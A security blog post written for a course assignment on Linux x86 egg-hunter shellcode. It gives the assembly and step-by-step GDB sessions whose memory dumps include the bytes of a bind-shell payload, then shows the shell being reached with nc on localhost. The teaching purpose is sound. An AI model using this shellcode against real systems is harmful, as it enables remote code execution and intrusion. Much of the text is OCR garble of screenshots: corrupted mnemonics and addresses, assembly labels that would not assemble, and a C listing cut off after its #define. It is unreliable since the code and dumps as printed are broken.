MENU

```
rtualBox:~$ ./egg_hunter
080
32
```



# artik-VirtualBox: ~

# KARTIK DURG

rtualBox:~\$ nc -vn 127.0.0.1 4444

7.0.0.1 4444 port [tcp/\*] succeeded!

# OX3: SHELLCODE\_EGG\_HUNTER - LINUX/X86

Posted on September 13, 2018 by Kartik Durg

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Student ID: SLAE-1233

Assignment: 3

Github repo: https://github.com/kartikdurg

## WHAT IS AN EGG-HUNTER?

The "Egg-Hunter" is a technique used to search for an unique "tag" that was prefixed with the large shellcode and start the execution of shellcode once found.

## WHY DO WE NEED EGG-HUNTER?

For example, let us assume that you have found a buffer-overflow vulnerability and there is no enough memory space for our bind/reverse shellcode. To solve this problem a unique "tag" is prefixed with our shellcode and then execute "Egg Hunter" shellcode that is small in size, fast and robust at the same time, this "Egg-Hunter" will search our unique "tag" and starts the execution of large shellcode(bind/reverse) once found.

In this post I will be implementing the "sigaction(2)" approach as discussed by Skape in the Safely Searching Process Virtual Address Space research paper.

The "sigaction(2)" prototype is as follows:

```
int sigaction(int signum, const struct sigaction *act, struct sigaction *oldact);
```

The EAX register should hold the system call number of "sigaction" as defined below:

```
#define __NR_sigaction 67 [0x43]
```

The goal here is to use the structure of act being in the ECX register for validating the region of memory.

Now let's jump into the implementation which is as follows:

```
global _start
section .text

_start:
xor ecx, ecx     ;zero out ecx

page_allign:
xor cx, 0x0fff    ;Page allignment
```

```
valid add:
          ; increment the pointer to try next valid address
inc ecx
push 0x43 ;push syscall 67 | sigaction
pop eax
         ;EAX=0x43
int 0x80
          ; call sigaction() for validation
efault cmpsn:
cmp al, 0xf2 ;Low-byte of EAX compared against 0xf2|EFAULT
jz page allign ;If ZF set JMP back to "page allign"
search tag:
mov eax, 0x4a424f59 ; move the "tag" to EAX register | 0x4a424f59 = JBOY
mov edi, ecx ; move ECX to EDI
       ;Compare contents of EDI to the dword value in EAX and increment
scasd
jnz valid add ;Not equal? then go back to valid add
                 ;Compare contents of EDI to the dword value in EAX and increment
scasd
jmp edi
       ;TAG found ==> Execute the shellcode I'm pointing to
```

To understand this concept, let's analyze the complete shellcode below:

```
#include <stdio.h>
#include <string.h>
#define JBOY "\x59\x4f\x42\x4a"
```

The above shellcode will execute bind shell once the "tag" (JBOY) is identified by our egg-hunter shellcode.

Let's run the shellcode using GDB and setup a break point at "main" and "egg\_hunter":

```
kartik@kartik-VirtualBox:~$ gdb ./egg_hunter
GNU gdb (Ubuntu/Linaro 7.4-2012.04-0ubuntu2.1) 7.4-2012.04
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "i686-linux-gnu".
For bug reporting instructions, please see:
<http://bugs.launchpad.net/gdb-linaro/>...
```

```
Reading symbols from /home/kartik/egg_hunter...(no debugging symbols found)...done.
(qdb) set disassembly-flavor intel
(gdb)
(qdb) break main
Breakpoint 1 at 0x80483e8
(gdb) print /x &egg hunter
$1 = 0x804a040
(gdb) print /x &egg
52 = 0x804a080
(gdb) break *0x804a040
Breakpoint 2 at 0x804a040
(adb) run
Starting program: /home/kartik/egg_hunter
Breakpoint 1, 0x080483e8 in main ()
(qdb) c
Continuing.
Egg is at 0x804a080
Egghunter size: 32
Breakpoint 2, 0x0804a040 in egg hunter ()
(gdb) disassemble
Dump of assembler code for function egg hunter:
=> 0x0804a040 <+0>:
                        XOL
                               ecx,ecx
   0x0804a042 <+2>:
                               cx,0xfff
                       XOL
   0x0804a047 <+7>:
                       inc
                               ecx
  0x0804a048 <+8>:
                               0x43
                       push
   0x0804a04a <+10>:
                        pop
                               eax
   0x0804a04b <+11>:
                       int
                               0x80
   0x0804a04d <+13>:
                               al,0xf2
                       CMP
   0x0804a04f <+15>:
                               0x804a042 <egg hunter+2>
                       je
   0x0804a051 <+17>:
                       mov
                               eax,0x4a424f59
   0x0804a056 <+22>:
                               edi,ecx
                       MOV
   0x0804a058 <+24>:
                       scas
                               eax, DWORD PTR es:[edi]
                               0x804a047 <egg hunter+7>
   0x0804a059 <+25>:
                        ine
                               eax, DWORD PTR es:[edi]
   0x0804a05b <+27>:
                       scas
                               0x804a047 <egg hunter+7>
   0x0804a05c <+28>:
                        jne
  0x0804a05e <+30>:
                               edi
                        jmp
                               BYTE PTR [eax],al
   0x0804a060 <+32>:
                        add
End of assembler dump.
(gdb)
```

Now that we have reached the breakpoint which points to our "Egg-Hunter" shellcode, let us also define a "hook-stop" to examine EAX, ECX and EDI registers every time the execution stops.

```
(gdb) disassemble
Dump of assembler code for function egg_hunter:
=> 0x0804a040 <+0>:
                               ecx,ecx
  0x0804a042 <+2>:
                        XOL
                               cx,0xfff
  0x0804a047 <+7>:
                        inc
                               ecx
  0x0804a048 <+8>:
                       push
                              0x43
  0x0804a04a <+10>:
                              eax
  0x0804a04b <+11>:
                        int
                              0x80
  0x0804a04d <+13>:
                        CMP
                              al,0xf2
  0x0804a04f <+15>:
                              0x804a042 <egg_hunter+2>
  0x0804a051 <+17>:
                              eax,0x4a424f59
                       MOV
                              edi,ecx
  0x0804a056 <+22>:
                       mov
  0x0804a058 <+24>:
                       scas
                              eax,DWORD PTR es:[edi]
  0x0804a059 <+25>:
                        jne
                              0x804a047 <egg hunter+7>
  0x0804a05b <+27>:
                       scas
                              eax,DWORD PTR es:[edi]
  0x0804a05c <+28>:
                              0x804a047 <egg hunter+7>
                        jne
  0x0804a05e <+30>:
                        jmp
                              edi
                              BYTE PTR [eax],al
  0x0804a060 <+32>:
                        add
End of assembler dump.
(gdb) define hook-stop
Type commands for definition of "hook-stop".
End with a line saying just "end".
>disassemble
>x/16w Secx
>print /x Seax
>x/16x Sedi
>end
(gdb)
```

After the first XOR instruction, the next two instruction performs page alignment operation by XORing "Oxfff" on lower 16-bits of ECX and then incrementing ECX by one. As noticed in the screenshot below, this operation is equivalent to adding "Ox1000" to ECX register.

```
(qdb) stepi
Dump of assembler code for function egg_hunter:
   0x0804a040 <+0>:
                              ecx,ecx
  0x0804a042 <+2>:
                              cx,0xfff
                        XOL
=> 0x0804a047 <+7>:
                       inc
                               ecx
                              0x43
  0x0804a048 <+8>:
                        push
  0x0804a04a <+10>:
                               eax
                        pop
                              0x80
  0x0804a04b <+11>:
                        int
  0x0804a04d <+13>:
                              al,0xf2
                        CMD
                              0x804a042 <egg hunter+2>
  0x0804a04f <+15>:
  0x0804a051 <+17>:
                              eax.0x4a424f59
                       MOV
  0x0804a056 <+22>:
                              edi.ecx
                       MOV
  0x0804a058 <+24>:
                              eax,DWORD PTR es:[edi]
                       scas
                               0x804a047 <egg hunter+7>
  0x0804a059 <+25>:
                        jne
  0x0804a05b <+27>:
                              eax, DWORD PTR es:[edi]
                       scas
  0x0804a05c <+28>:
                              0x804a047 <egg_hunter+7>
                       ine
  0x0804a05e <+30>:
                       jmp
                              edi
  0x0804a060 <+32>:
                              BYTE PTR [eax],al
                        add
End of assembler dump.
Oxfff: Error while running hook stop:
Cannot access memory at address 0xfff
0x0804a047 in egg hunter ()
(qdb) stepi
Dump of assembler code for function egg_hunter:
   0x0804a040 <+0>:
                               ecx,ecx
                       XOL
  0x0804a042 <+2>:
                              cx,0xfff
                       XOL
  0x0804a047 <+7>:
                       inc
                               ecx
=> 0x0804a048 <+8>:
                              0x43
                       push
   0x0804a04a <+10>:
                               eax
                        pop
  0x0804a04b <+11>:
                              0x80
                        int
  0x0804a04d <+13>:
                              al,0xf2
                       CMP
  0x0804a04f <+15>:
                              0x804a042 <egg hunter+2>
                        je
                              eax,0x4a424f59
  0x0804a051 <+17>:
                       MOV
  0x0804a056 <+22>:
                              edi,ecx
                       MOV
                              eax, DWORD PTR es:[edi]
  0x0804a058 <+24>:
                       scas
  0x0804a059 <+25>:
                        jne
                              0x804a047 <egg hunter+7>
  0x0804a05b <+27>:
                       scas eax, DWORD PTR es:[edi]
  0x0804a05c <+28>:
                              0x804a047 <egg hunter+7>
                       ine
  0x0804a05e <+30>:
                       jmp
                               edi
                              BYTE PTR [eax],al
  0x0804a060 <+32>:
                        add
End of assembler dump.
0x1000: Error while running hook stop:
Cannot access memory at address 0x1000
0x0804a048 in egg_hunter ()
(dbp)
```

After the page alignment operation, the lower 16-bit of **EAX** register is initialized to **0x43[67]** which is a system call number of "sigaction" and once the system call is executed it's return value is then compared with **0xf2** which represents the lower byte of **EFAULT.** If the lower byte of EAX is equal to **0xf2** the implementation again jumps back to XOR "**0xfff**" on lower 16-bits of ECX as seen below:

```
(gdb) stepi
Dump of assembler code for function egg hunter:
  0x0804a040 <+0>:
                               ecx,ecx
                        XOL
                               cx,0xfff
  0x0804a042 <+2>:
                        XOL
  0x0804a047 <+7>:
                        inc
                               ecx
  0x0804a048 <+8>:
                        push
                               0x43
  0x0804a04a <+10>:
                        pop
                               eax
  0x0804a04b <+11>:
                        int
                               0x80
  0x0804a04d <+13>:
                               al.0xf2
                        CMD
  0x0804a04f <+15>:
                        je
                               0x804a042 <egg hunter+2>
  0x0804a051 <+17>:
                        MOV
                               eax,0x4a424f59
  0x0804a056 <+22>:
                        MOV
                               edi,ecx
  0x0804a058 <+24>:
                               eax, DWORD PTR es:[edi]
                        scas
  0x0804a059 <+25>:
                               0x804a047 <egg hunter+7>
                        jne
                               eax, DWORD PTR es:[edi]
  0x0804a05b <+27>:
                        scas
                               0x804a047 <egg hunter+7>
  0x0804a05c <+28>:
                        jne
                               edi
  0x0804a05e <+30>:
                        jmp
                               BYTE PTR [eax].al
  0x0804a060 <+32>:
                        add
End of assembler dump.
0x1000: Error while running hook stop:
Cannot access memory at address 0x1000
0x0804a04f in egg hunter ()
gdb) print /x $eax
4 = 0 \times ffffffff
(gdb) stepi
Dump of assembler code for function egg_hunter:
  0x0804a040 <+0>:
                               ecx,ecx
                        XOL
=> 0x0804a042 <+2>:
                               cx,0xfff
                        XOL
  0x0804a047 <+7>:
                        inc
                               ecx
  0x0804a048 <+8>:
                        push
                               0x43
  0x0804a04a <+10>:
                               eax
                        pop
                               0x80
  0x0804a04b <+11>:
                        int
  0x0804a04d <+13>:
                               al,0xf2
                        CMP
  0x0804a04f <+15>:
                               0x804a042 <egg hunter+2>
                        je
  0x0804a051 <+17>:
                        MOV
                               eax,0x4a424f59
```

```
eax,DWORD PTR es:[edi]
  0x0804a058 <+24>:
                      scas
                             0x804a047 <egg_hunter+7>
  0x0804a059 <+25>:
                      jne
  0x0804a05b <+27>:
                             eax, DWORD PTR es:[edi]
                      scas
  0x0804a05c <+28>: jne
                             0x804a047 <egg_hunter+7>
                             edi
  0x0804a05e <+30>: jmp
  0x0804a060 <+32>:
                      add
                             BYTE PTR [eax],al
End of assembler dump.
0x1000: Error while running hook_stop:
Cannot access memory at address 0x1000
9x0804a042 in egg_hunter ()
```

Implementation when lower byte of EAX is "not-equal" to 0xf2:

```
(qdb) break *0x0804a051
Breakpoint 3 at 0x804a051
(gdb) c
Continuing.
Dump of assembler code for function egg hunter:
   0x0804a040 <+0>:
                               ecx,ecx
                        XOL
                               cx,0xfff
   0x0804a042 <+2>:
                        XOL
   0x0804a047 <+7>:
                        inc
                               ecx
   0x0804a048 <+8>:
                        push
                               0x43
   0x0804a04a <+10>:
                        pop
                               eax
   0x0804a04b <+11>:
                               0x80
                        int
   0x0804a04d <+13>:
                               al.0xf2
                        CMP
   0x0804a04f <+15>:
                               0x804a042 <egg hunter+2>
                        je
                               eax.0x4a424f59
=> 0x0804a051 <+17>:
   0x0804a056 <+22>:
                        MOV
                               edi,ecx
   0x0804a058 <+24>:
                        scas
                               eax,DWORD PTR es:[edi]
   0x0804a059 <+25>:
                               0x804a047 <egg hunter+7>
                        jne
                               eax, DWORD PTR es:[edi]
   0x0804a05b <+27>:
                        scas
                               0x804a047 <egg hunter+7>
   0x0804a05c <+28>:
                        ine
   0x0804a05e <+30>:
                               edi
                        jmp
   0x0804a060 <+32>:
                        add
                               BYTE PTR [eax],al
End of assembler dump.
0x8048000:
                0x464c457f
                                0x00010101
                                                0x00000000
                                                                 0x00000000
0x8048010:
                0x00030002
                                0x00000001
                                                0x08048330
                                                                 0x00000034
0x8048020:
                0x00001218
                                0x00000000
                                                0x00200034
                                                                 0x00280009
0x8048030:
               0x001b001e
                                0x00000006
                                                0x00000034
                                                                 0x08048034
$2 = 0xffffffea
0x804a061:
                0x00000000
                                0x00000000
                                                0x00000000
                                                                 0x00000000
0x804a071:
                0x00000000
                                0x00000000
                                                0x00000000
                                                                 0x59000000
0x804a081 <egg+1>:
                        0x594a424f
                                        0x6a4a424f
                                                        0xdb315866
                                                                         0x016a066a
0x804a091 <egg+17>:
                        0x89430a6a
                                        0x9680cde1
                                                        0x5050c031
                                                                         0x66505050
Breakpoint 3, 0x0804a051 in egg_hunter ()
(qdb)
```

The value of valid pointer is stored in **EDI** register after moving the "tag" to **EAX** register. Next, the **scasd** instruction compares the contents of memory stored in **EDI** to the DWORD value in **EAX**(unique tag).

Instead of stepping through each and every instruction let's setup a breakpoint on second **scasd** instruction and continue the execution.

```
(gdb) c
Continuing.
Dump of assembler code for function egg_hunter:
   0x0804a040 <+0>:
                        XOL
                               ecx,ecx
                               cx,0xfff
   0x0804a042 <+2>:
   0x0804a047 <+7>:
                       inc
                               ecx
   0x0804a048 <+8>:
                              0x43
                        push
   0x0804a04a <+10>:
                        pop
                               eax
                               0x80
   0x0804a04b <+11>:
   0x0804a04d <+13>:
                               al,0xf2
                       CMP
                               0x804a042 <egg hunter+2>
   0x0804a04f <+15>:
                        je
                              eax,0x4a424f59
   0x0804a051 <+17>:
                       mov
   0x0804a056 <+22>:
                       mov
                              edi,ecx
   0x0804a058 <+24>:
                              eax,DWORD PTR es:[edi]
                       scas
                               0x804a047 <egg_hunter+7>
   0x0804a059 <+25>:
  0x0804a05b <+27>:
                       scas eax, DWORD PTR es:[edi]
   0x0804a05c <+28>:
                        jne
                              0x804a047 <egg_hunter+7>
   0x0804a05e <+30>:
                        jmp
                               edt
                               BYTE PTR [eax],al
   0x0804a060 <+32>:
                        add
End of assembler dump.
0x804a080 <egg>:
                       0x4a424f59
                                        0x4a424f59
                                                        0x3158666a
                                                                        0x6a066adb
0x804a090 <egg+16>:
                       0x430a6a01
                                        0x80cde189
                                                        0x50c03196
                                                                        0x50505050
0x804a0a0 <egg+32>:
                        0x5c116866
                                        0x890a6a66
                                                        0x511c6ae1
                                                                        0x43e18956
0x804a0b0 <e00+48>:
                        0xcd58666a
                                        0x89565380
                                                        0x6a4343e1
                                                                        0x80cd5866
33 = 0x4a424f59
                       0x4a424f59
0x804a084 <egg+4>:
                                        0x3158666a
                                                        0x6a066adb
                                                                        0x430a6a01
0x804a094 <egg+20>:
                       0x80cde189
                                        0x50c03196
                                                        0x50505050
                                                                        0x5c116866
0x804a0a4 <egg+36>:
                        0x890a6a66
                                        0x511c6ae1
                                                        0x43e18956
                                                                        0xcd58666a
0x804a0b4 <egg+52>:
                        0x89565380
                                        0x6a4343e1
                                                        0x80cd5866
                                                                        0x56525299
Breakpoint 4, 0x0804a05b in egg_hunter ()
(gdb)
```

Now that the **scasd** instruction has been executed twice, the value of **EDI** will be 8-bytes apart pointing at our shellcode(bind/reverse or any other) as seen below:

```
(gdb) stepi
Dump of assembler code for function egg_hunter:
  0x0804a040 <+0>:
                        XOF
                               ecx,ecx
  0x0804a042 <+2>:
                               cx,0xfff
                        XOL
  0x0804a047 <+7>:
                        inc
                               ecx
  0x0804a048 <+8>:
                        push
                               0x43
   0x0804a04a <+10>:
                        pop
                               eax
  0x0804a04b <+11>:
                        int
                               0x80
  0x0804a04d <+13>:
                        стр
                               al,0xf2
                               0x804a042 <egg_hunter+2>
  0x0804a04f <+15>:
                        je
  0x0804a051 <+17>:
                               eax, 0x4a424f59
                        HOV
  0x0804a056 <+22>:
                        nov
                               edi,ecx
  0x0804a058 <+24>:
                        scas
                               eax,DWORD PTR es:[edi]
  0x0804a059 <+25>:
                               0x804a047 <egg_hunter+7>
                        jne
  0x0804a05b <+27>:
                               eax, DWORD PTR es:[ed1]
                        scas
                               0x804a847 <egg hunter+7>
  0x0804a05c <+28>:
                        ine
  0x0804a05e <+30>:
                        jmp
                               edi
  0x0804a060 <+32>:
                        add
                               BYTE PTR [eax],al
End of assembler dump.
0x804a080 <egg>:
                        8x4a424f59
                                        0x4a424f59
                                                        0x3158666a
                                                                        0x6a066adb
0x804a090 <egg+16>:
                        0x430a6a01
                                        0x80cde189
                                                        0x50c03196
                                                                        0x50505050
0x804a0a0 <egg+32>:
                        0x5c116866
                                        0x898a6a66
                                                        0x511c6ae1
                                                                        0x43e18956
0x804a0b0 <egg+48>:
                        0xcd58666a
                                        0x89565380
                                                        0x6a4343e1
                                                                        0x80cd5866
$35 = 0x4a424f59
0x804a088 <egg+8>:
                                                        0x430a6a01
                                                                         0x80cde189
                        0x3158666a
                                        0x6a066adb
0x804a098 <egg+24>:
                        0x50c03196
                                        0x50505050
                                                        0x5c116866
                                                                         0x890a6a66
0x804a0a8 <egg+40>:
                        0x511c6ae1
                                        0x43e18956
                                                        0xcd58666a
                                                                         0x89565380
0x804a0b8 <egg+56>:
                        0x6a4343e1
                                        0x80cd5866
                                                        0x56525299
                                                                        0x6a43e189
0x0804a05e in egg hunter ()
(gdb) print /x Sedi
$36 = 0x804a088
(gdb)
```

Execution of large payload (bind shell):

```
0x8804a059 <+25>;
                                0x884a047 <egg_hunter+7>
   0x0804a05b <+27>;
                         scas
                                eax,DWORD PTR es:[edt]
                                                                                               kartikgkartik-VirtualBox:-$ nc -vn 127.0.0.1 4444
Connection to 127.0.0.1 4444 port [tcp/*] succeeded!
                                0x804a047 <egg_hunter+7>
  0x0804a05c <+28>:
  8x8884a05e <+38>:
                         jnp
add
                                edi
                                SYTE PTR [eax],al
  8x8884a666 <+32>1
End of assembler dump
                                                                                                Desktop
8x884a888 <egg>:
                         8x4a424f59
                                          8x4a424f59
                                                           0x3158666a
                                                                            6x6a666adb
                                                                                                Documents
0x804a896 <egg+16>:
                         8x430a5a81
                                          0x80cde189
                                                           0x50c03196
                                                                            0x50505050
                                                                                                Downloads
                         0x5<116866
0x884a8a8 <egg+32>;
                                                           0x511c6ae1
                                                                            0x43e18956
                                                                                                Music
                                          0x89565380
0x804a6b6 <egg+48>;
                         0xcd58666a
                                                           0x6s4343e1
                                                                            0x80cd5866
                                                                                                Pictures
$9 - 0x4a424f59
                                                                                                Public
8x884a888 <egg+8>1
                         0x3158666a
                                          excaessadb
                                                           8x438a6a81
                                                                             0x80cde189
                                                                                                SLAE
0x804a898 <egg+24>
                                                                                               SLAE-Code.zlp
8x884a8a8 <egg+48>:
                                          6x43e18956
                                                                                                Templates
0x884a8b8 <egg+56>:
                         0x6a4343e1
                                          exaecd5866
                                                           8x56525299
                                                                            6x6a43e189
                                                                                                Videos
exemedaesc in egg_hunter ()
                                                                                                egg_hunter
                                                                                               egg_hunter.esm
egg_hunter.c
egg_hunter.o
(gdb) stepi
Dump of assembler code for function egg_hunter:
  8x8884a646 <+0>:
                         XOL
                                ecx,ecx
   8x8884a642 <+2>:
                                cx,8xfff
                                                                                                examples.desktop
   8×8884a647 <+7>:
                                                                                                test.asm
   8x8884a648 <+8>:
                         push
                                8x43
                                                                                                test.c
   8x8884a04a <+18>:
                                                                                                whoant.
   0x8884a04b <+11>:
                                 0x88
                                                                                                kartik
   0x0804a04d <+13>:
                                 al, 0xf2
   0x0804a04f <+15>:
                                 0x804a042 <egg_hunter+2>
                                                                                                hostname
   8x8884a051 <+17>:
                                eax, 8x4a424f59
                         riov
                                                                                                kartik-VirtualBox
   8x8884a056 *+22>:
                         nov
                                edi.ecx
   8x8884a858 *+24>:
                                eax,DWORD PTR es:[ed1]
                         scas
                                0x884a047 <egg_hunter+7>
eax,DWDRD PTR es:[edi]
   8x8884a859 <+25>:
   0x8884a05b <+27>:
                         scas.
  8x8884a05c <+28>;
                                0x884a847 <egg_hunter+7>
 > 0x0804a05e <+30>;
  0x8884a660 <+32>;
                                BYTE PTR [eax],al
End of assembler dump.
0x804a686 <egg>:
                         8x4a424f59
                                          8x4a424f59
                                                           8x3158666a
8x884a898 <egg+16>:
0x884a8a0 <egg+32>:
                         0x5c116866
                                          0x890a6a66
                                                           6x511c6ae1
                                                                             0x43e18956
0x804a0b0 <egg+48>:
                         0xcd586668
                                          0x89565388
                                                           0x5a4343e1
518 = 0x4a424f59
0x804a688 <egg+8>:
                         0x3158666a
                                          0x6a066adb
                                                           0x430a6a81
                                                                            0x80cde189
8x884a898 <egg+24>;
                         0x50c03196
                                          0×50505050
                                                           0x5c116866
                                                                            0x890a6a66
8x884a8a8 <egg+48>:
                         8x511c6ae1
                                          8x43e18956
                                                           0xcd58666a
                                                                            6x89565388
8x884a8b8 <egg+56>:
                         8x6a4343e1
                                          8x86cd5866
                                                           8x56525299
                                                                            6x6a43e189
8x8884a85e in egg_hunter ()
(gdb) continue
process 3752 is executing new program: /bin/dash
 rror in re-setting breakpoint 1: Function "main" not defined.
```

### PROOF OF CONCEPT:

The size of "Egg-hunter" shellcode is just 32-bytes when compared to the original size of bind shell which is 100-bytes, thus allowing us to execute larger payload when the available memory space is less than payload.

Link to shellcode.c:

https://github.com/kartikdurg/SLAE/blob/master/Assignment\_0x3/egg\_hunter.c

Link to shellcode.asm:

https://github.com/kartikdurg/SLAE/blob/master/Assignment\_0x3/egg\_hunter.asm

Thank you for reading 🙂

- Kartik Durg

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Security Researcher | Threat Hunting | Red Team | OSCP | SLAE | OSCE PC gamer and a huge fan of ARSENAL FC!! <3 View all posts by Kartik Durg

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